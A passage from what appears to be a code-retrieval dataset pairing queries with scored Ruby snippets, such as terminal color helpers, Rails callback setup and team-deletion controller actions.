"text": "def color(name, string = nil, &block)\n attribute = Attribute[name] or raise ArgumentError, \"unknown attribute #{name.inspect}\"\n result = ''\n result << \"\\e[#{attribute.code}m\" if Term::ANSIColor.coloring?\n if block_given?\n result << yield.to_s\n elsif string.respond_to?(:to_str)\n result << string.to_str\n elsif respond_to?(:to_str)\n result << to_str\n else\n return result #only switch on\n end\n result << \"\\e[0m\" if Term::ANSIColor.coloring?\n result.extend(Term::ANSIColor)\n end",
"title": ""
},
{
"docid": "525f6e28b94bf549e8397e3135867108",
"score": "0.7054622",
"text": "def red(text)\n \"\\e[31m#{text}\\e[0m\"\nend",
"title": ""
},
{
"docid": "8afc581d3c01822f9f7a971734d0d6ea",
"score": "0.7053607",
"text": "def make_red(str)\n \"\\033[41m\" + str + \"\\033[0m\"\nend",
"title": ""
},
{
"docid": "4b2111109f2683ba647dee7bb1f9e69c",
"score": "0.7052389",
"text": "def _yellow\n \"\\e[33m\\e[40m#{self}\\e[0m\"\n end",
"title": ""
},
{
"docid": "b12bf6961af59eac9a34c074bad76dcb",
"score": "0.7050973",
"text": "def highlight_red\n\t\tcolorize(41)\n\tend",
"title": ""
},
{
"docid": "ead852455978425787ec4b5e1438ffcf",
"score": "0.70449126",
"text": "def red\n \"red\"\nend",
"title": ""
},
{
"docid": "ead852455978425787ec4b5e1438ffcf",
"score": "0.70449126",
"text": "def red\n \"red\"\nend",
"title": ""
},
{
"docid": "161c3fdf5105e0cc5d1f98b69f627461",
"score": "0.70431936",
"text": "def colorize(string, *colors)\n string\n end",
"title": ""
},
{
"docid": "8d45c330b3d9f8dad14b755c753bcf8a",
"score": "0.7041333",
"text": "def red(string)\n \"\\033[0;31m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "8d45c330b3d9f8dad14b755c753bcf8a",
"score": "0.7041333",
"text": "def red(string)\n \"\\033[0;31m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "8d45c330b3d9f8dad14b755c753bcf8a",
"score": "0.7041333",
"text": "def red(string)\n \"\\033[0;31m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "8d45c330b3d9f8dad14b755c753bcf8a",
"score": "0.7041333",
"text": "def red(string)\n \"\\033[0;31m#{string}\\e[0m\"\nend",
"title": ""
},
{
"docid": "c6b08d8a82bce54bf1a74b33939189bf",
"score": "0.7029425",
"text": "def colorString(string, txtcolor = \"green\", bgcolor= \"black\")\n puts ColorizedString[\"#{string}\"].colorize(\n :color => txtcolor.to_sym,\n :background => bgcolor.to_sym\n )\nend",
"title": ""
},
{
"docid": "ae5aff0cea2989005878cebbd719eaad",
"score": "0.7025016",
"text": "def red( text ); colorize( text, \"\\e[31m\" ); end",
"title": ""
},
{
"docid": "010f73510a4c9d5ac7602ebc025c7234",
"score": "0.7017575",
"text": "def light_yellow\n \"\\e[93m#{self}\\e[0m\"\n end",
"title": ""
},
{
"docid": "199b4aab40535cc8641b0d4ee12cd90b",
"score": "0.7014436",
"text": "def bold_purple(text); colour(text, '95');end",
"title": ""
},
{
"docid": "8e98f5f2717c7a0325bec0774fc354e3",
"score": "0.6998277",
"text": "def color(text, color)\n\t\tif color == \"error\"\n\t\t\tcolorize(text, \"31\")\n\t\telsif color == \"warning\"\n\t\t\tcolorize(text, \"33\")\n\t\telsif color == \"bold\"\n\t\t\tcolorize(text, \"7\")\n\t\telse\n\t\t\tcolorize(text, get_color_code(COLORS.fetch(color.to_sym, 0)))\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8c7c886171a0afabb6bb7c50c44aeaf1",
"score": "0.69652236",
"text": "def color(type, str)\n text.send(Pry.config.ls.send(:\"#{type}_color\"), str)\n end",
"title": ""
},
{
"docid": "189ea00180198a4a04d1ffcbd8a1d0fc",
"score": "0.6964449",
"text": "def color(text, color, bold = false) # :doc:\n return text unless colorize_logging\n color = self.class.const_get(color.upcase) if color.is_a?(Symbol)\n bold = bold ? BOLD : \"\"\n \"#{bold}#{color}#{text}#{CLEAR}\"\n end",
"title": ""
},
{
"docid": "9883c5bb18841b7781bff3d7b226849e",
"score": "0.69586253",
"text": "def bold_blue(text); colour(text, '94');end",
"title": ""
},
{
"docid": "d5c08039b82e2d1e541d47c8218f3dd2",
"score": "0.69580555",
"text": "def green(text)\n colorize text, 32\n end",
"title": ""
},
{
"docid": "f6372e7f33c444bccb50edc632ba7e4b",
"score": "0.695585",
"text": "def green text\n colorize 32, text\n end",
"title": ""
},
{
"docid": "0688082cdbe1bb1c5142ff0c950c605f",
"score": "0.695539",
"text": "def dark_yellow; colorize(self, \"\\e[0;33m\"); end",
"title": ""
},
{
"docid": "17d1782d9ec12c7ab3730d6d39d90866",
"score": "0.6949766",
"text": "def bold_green(text); colour(text, '92');end",
"title": ""
},
{
"docid": "41b4b9bf2691f61d52eadbeaded6cc93",
"score": "0.6947947",
"text": "def colorize(str, color)\n colors = {red: 31, green: 32, blue: 34}\n \"\\e[#{colors[color]}m #{str}\\e[0m\"\n end",
"title": ""
},
{
"docid": "200488b23460b6eff1c4215703c99555",
"score": "0.6942236",
"text": "def colorize(string, color_code)\n \"\\e[#{color_code}m#{string}\\e[0m\"\nend",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "8375dca40480e181de910e592bbe9c68",
"score": "0.0",
"text": "def set_visit\n @visit = Visit.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.6163163",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.6045976",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.5946146",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.591683",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "bfb8386ef5554bfa3a1c00fa4e20652f",
"score": "0.58349305",
"text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.5776858",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.5652805",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.5621621",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "5df9f7ffd2cb4f23dd74aada87ad1882",
"score": "0.54210985",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "0464870c8688619d6c104d733d355b3b",
"score": "0.53402257",
"text": "def define_action_helpers?; end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.53394014",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "5510330550e34a3fd68b7cee18da9524",
"score": "0.53321576",
"text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"title": ""
},
{
"docid": "97c8901edfddc990da95704a065e87bc",
"score": "0.53124547",
"text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.529654",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "83684438c0a4d20b6ddd4560c7683115",
"score": "0.5296262",
"text": "def before_actions(*logic)\n self.before_actions = logic\n end",
"title": ""
},
{
"docid": "210e0392ceaad5fc0892f1335af7564b",
"score": "0.52952296",
"text": "def setup_handler\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.52600986",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "1d50ec65c5bee536273da9d756a78d0d",
"score": "0.52442724",
"text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "635288ac8dd59f85def0b1984cdafba0",
"score": "0.5232394",
"text": "def workflow\n end",
"title": ""
},
{
"docid": "e34cc2a25e8f735ccb7ed8361091c83e",
"score": "0.523231",
"text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"title": ""
},
{
"docid": "78b21be2632f285b0d40b87a65b9df8c",
"score": "0.5227454",
"text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "923ee705f0e7572feb2c1dd3c154b97c",
"score": "0.52201617",
"text": "def process_action(...)\n send_action(...)\n end",
"title": ""
},
{
"docid": "b89a3908eaa7712bb5706478192b624d",
"score": "0.5212327",
"text": "def before_dispatch(env); end",
"title": ""
},
{
"docid": "7115b468ae54de462141d62fc06b4190",
"score": "0.52079266",
"text": "def after_actions(*logic)\n self.after_actions = logic\n end",
"title": ""
},
{
"docid": "d89a3e408ab56bf20bfff96c63a238dc",
"score": "0.52050185",
"text": "def setup\n # override and do something appropriate\n end",
"title": ""
},
{
"docid": "62c402f0ea2e892a10469bb6e077fbf2",
"score": "0.51754695",
"text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"title": ""
},
{
"docid": "72ccb38e1bbd86cef2e17d9d64211e64",
"score": "0.51726824",
"text": "def setup(_context)\n end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "1fd817f354d6cb0ff1886ca0a2b6cce4",
"score": "0.5166172",
"text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"title": ""
},
{
"docid": "5531df39ee7d732600af111cf1606a35",
"score": "0.5159343",
"text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"title": ""
},
{
"docid": "bb6aed740c15c11ca82f4980fe5a796a",
"score": "0.51578903",
"text": "def determine_valid_action\n\n end",
"title": ""
},
{
"docid": "b38f9d83c26fd04e46fe2c961022ff86",
"score": "0.51522785",
"text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"title": ""
},
{
"docid": "199fce4d90958e1396e72d961cdcd90b",
"score": "0.5152022",
"text": "def startcompany(action)\n @done = true\n action.setup\n end",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.51518047",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "62fabe9dfa2ec2ff729b5a619afefcf0",
"score": "0.51456624",
"text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "adb8115fce9b2b4cb9efc508a11e5990",
"score": "0.5133759",
"text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.5112076",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "f54964387b0ee805dbd5ad5c9a699016",
"score": "0.5106169",
"text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.509231",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "bc3cd61fa2e274f322b0b20e1a73acf8",
"score": "0.50873137",
"text": "def setup\n @setup_proc.call(self) if @setup_proc\n end",
"title": ""
},
{
"docid": "5c3cfcbb42097019c3ecd200acaf9e50",
"score": "0.5081088",
"text": "def before_action \n end",
"title": ""
},
{
"docid": "246840a409eb28800dc32d6f24cb1c5e",
"score": "0.508059",
"text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.50677156",
"text": "def action\n end",
"title": ""
},
{
"docid": "36eb407a529f3fc2d8a54b5e7e9f3e50",
"score": "0.50562143",
"text": "def matt_custom_action_begin(label); end",
"title": ""
},
{
"docid": "b6c9787acd00c1b97aeb6e797a363364",
"score": "0.5050554",
"text": "def setup\n # override this if needed\n end",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50474834",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50474834",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd421350722a26f18a7aae4f5aa1fc59",
"score": "0.5036181",
"text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.5026331",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "4224d3231c27bf31ffc4ed81839f8315",
"score": "0.5022976",
"text": "def after(action)\n invoke_callbacks *options_for(action).after\n end",
"title": ""
},
{
"docid": "24506e3666fd6ff7c432e2c2c778d8d1",
"score": "0.5015441",
"text": "def pre_task\n end",
"title": ""
},
{
"docid": "0c16dc5c1875787dacf8dc3c0f871c53",
"score": "0.50121695",
"text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"title": ""
},
{
"docid": "c99a12c5761b742ccb9c51c0e99ca58a",
"score": "0.5000944",
"text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.5000019",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "791f958815c2b2ac16a8ca749a7a822e",
"score": "0.4996878",
"text": "def setup_signals; end",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.4989888",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.4989888",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "5aa51b20183964c6b6f46d150b0ddd79",
"score": "0.49864885",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.49797225",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "67e7767ce756766f7c807b9eaa85b98a",
"score": "0.49785787",
"text": "def after_set_callback; end",
"title": ""
},
{
"docid": "2a2b0a113a73bf29d5eeeda0443796ec",
"score": "0.4976161",
"text": "def setup\n #implement in subclass;\n end",
"title": ""
},
{
"docid": "63e628f34f3ff34de8679fb7307c171c",
"score": "0.49683493",
"text": "def lookup_action; end",
"title": ""
},
{
"docid": "a5294693c12090c7b374cfa0cabbcf95",
"score": "0.4965126",
"text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"title": ""
},
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.4958034",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "5b6d613e86d3d68152f7fa047d38dabb",
"score": "0.49559742",
"text": "def release_actions; end",
"title": ""
},
{
"docid": "4aceccac5b1bcf7d22c049693b05f81c",
"score": "0.4954353",
"text": "def around_hooks; end",
"title": ""
},
{
"docid": "2318410efffb4fe5fcb97970a8700618",
"score": "0.49535993",
"text": "def save_action; end",
"title": ""
},
{
"docid": "64e0f1bb6561b13b482a3cc8c532cc37",
"score": "0.4952725",
"text": "def setup(easy)\n super\n easy.customrequest = @verb\n end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.49467874",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "b280d59db403306d7c0f575abb19a50f",
"score": "0.49423352",
"text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"title": ""
},
{
"docid": "9f7547d93941fc2fcc7608fdf0911643",
"score": "0.49325448",
"text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"title": ""
},
{
"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.49282882",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.49269363",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.49269104",
"text": "def default_action; end",
"title": ""
},
{
"docid": "3ba85f3cb794f951b05d5907f91bd8ad",
"score": "0.49252945",
"text": "def setup(&blk)\n @setup_block = blk\n end",
"title": ""
},
{
"docid": "80834fa3e08bdd7312fbc13c80f89d43",
"score": "0.4923091",
"text": "def callback_phase\n super\n end",
"title": ""
},
{
"docid": "f1da8d654daa2cd41cb51abc7ee7898f",
"score": "0.49194667",
"text": "def advice\n end",
"title": ""
},
{
"docid": "99a608ac5478592e9163d99652038e13",
"score": "0.49174926",
"text": "def _handle_action_missing(*args); end",
"title": ""
},
{
"docid": "9e264985e628b89f1f39d574fdd7b881",
"score": "0.49173003",
"text": "def duas1(action)\n action.call\n action.call\nend",
"title": ""
},
{
"docid": "399ad686f5f38385ff4783b91259dbd7",
"score": "0.49171105",
"text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"title": ""
},
{
"docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a",
"score": "0.4915879",
"text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"title": ""
},
{
"docid": "6e0842ade69d031131bf72e9d2a8c389",
"score": "0.49155936",
"text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"title": ""
}
] |
f132af1f130c90e2d72d39d70dbe6f16
|
Delete the given team
|
[
{
"docid": "3f9bc356351e8d09680a7bc628d961f5",
"score": "0.0",
"text": "def delete\n TeamsUser.where(team_id: self.id).find_each(&:destroy)\n node = TeamNode.find_by(node_object_id: self.id)\n node.destroy if node\n self.destroy\n end",
"title": ""
}
] |
[
{
"docid": "103fc09c458682d75f549add4066304b",
"score": "0.88031715",
"text": "def delete(_team)\n # stub\n end",
"title": ""
},
{
"docid": "8f24ea4b124c0e0e38dbfb3432be479d",
"score": "0.8411219",
"text": "def delete()\n\n Team.destroy(self.id)\n end",
"title": ""
},
{
"docid": "043d50237e24f1802f6f661a5ac9e4cc",
"score": "0.8375042",
"text": "def delete(team_id)\n @client.team.delete(team_id)\n end",
"title": ""
},
{
"docid": "904ad270f68c643c9fa74c797b2b693b",
"score": "0.8354855",
"text": "def destroy_team\n post('/team/destroy')\n end",
"title": ""
},
{
"docid": "904ad270f68c643c9fa74c797b2b693b",
"score": "0.8354855",
"text": "def destroy_team\n post('/team/destroy')\n end",
"title": ""
},
{
"docid": "0daa5055e745a3c92f1a6ed6898b8ee8",
"score": "0.8211403",
"text": "def delete_team(id)\n boolean_request :delete, \"/teams/#{id}\"\n end",
"title": ""
},
{
"docid": "22a92ff7da2c41b6d34e9e0546497add",
"score": "0.80137336",
"text": "def destroy\n @team = Team.find(params[:id]);\n @team.destroy();\n redirect_to(user_path(current_user) + '/teams');\n end",
"title": ""
},
{
"docid": "36a9759ba530c7ce1ca90d3c94dc341b",
"score": "0.79821324",
"text": "def deleteTeam _args\n \"deleteTeam _args;\" \n end",
"title": ""
},
{
"docid": "dd52f6f76c4e4e89fa2ea585c88761c2",
"score": "0.7962364",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "4f794f6c9cb69ddcc4d993af1387ed86",
"score": "0.7953787",
"text": "def destroy\n\t\t@team = Team.find(params[:id])\n \t\t@team.destroy\n \t\tredirect_to teams_path\n\tend",
"title": ""
},
{
"docid": "8c6c9a993472760828338ff6e7475f91",
"score": "0.79339486",
"text": "def destroy\n @team = Team.find(params[:id]).destroy\n flash[:notice] = \"Team successfully deleted\"\n redirect_to teams_url\n end",
"title": ""
},
{
"docid": "a246d7fcdcfe5042e5af5cd97732cb55",
"score": "0.78841525",
"text": "def destroy\n team = Team.find(@users_team.team_id)\n @users_team.destroy\n respond_to do |format|\n format.html { redirect_to team_path(team), notice: 'Membro removido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f6d06fab9dab7e9b1bdd9934ff76be3b",
"score": "0.7823337",
"text": "def delete_team_with(id)\n visit teams_path\n click_button 'Delete'\n click_button 'OK'\n end",
"title": ""
},
{
"docid": "e6f686fb6e76a0f0e6fe31476964ed32",
"score": "0.78176916",
"text": "def call(_obj, args, _ctx)\n team = Team.find(args[:id])\n team.destroy\n end",
"title": ""
},
{
"docid": "959a67c26634fe32af5bc1da1cb92a61",
"score": "0.78144723",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n respond_to do |format|\n format.html { redirect_to course_teams_path, notice: 'Team was successfully removed.' }\n end\n end",
"title": ""
},
{
"docid": "e48ce5e154ff443713bc91a8b12704c5",
"score": "0.76644456",
"text": "def destroy\n\t\t@team.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to teams_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "78d9f16a7bd2788bc741c3a3bdddf8ea",
"score": "0.7660928",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
"text": "def destroy\n @team = Team.find(params[:id])\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to teams_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "519dbb7ed2142cad3d4ed111dd716854",
"score": "0.7626447",
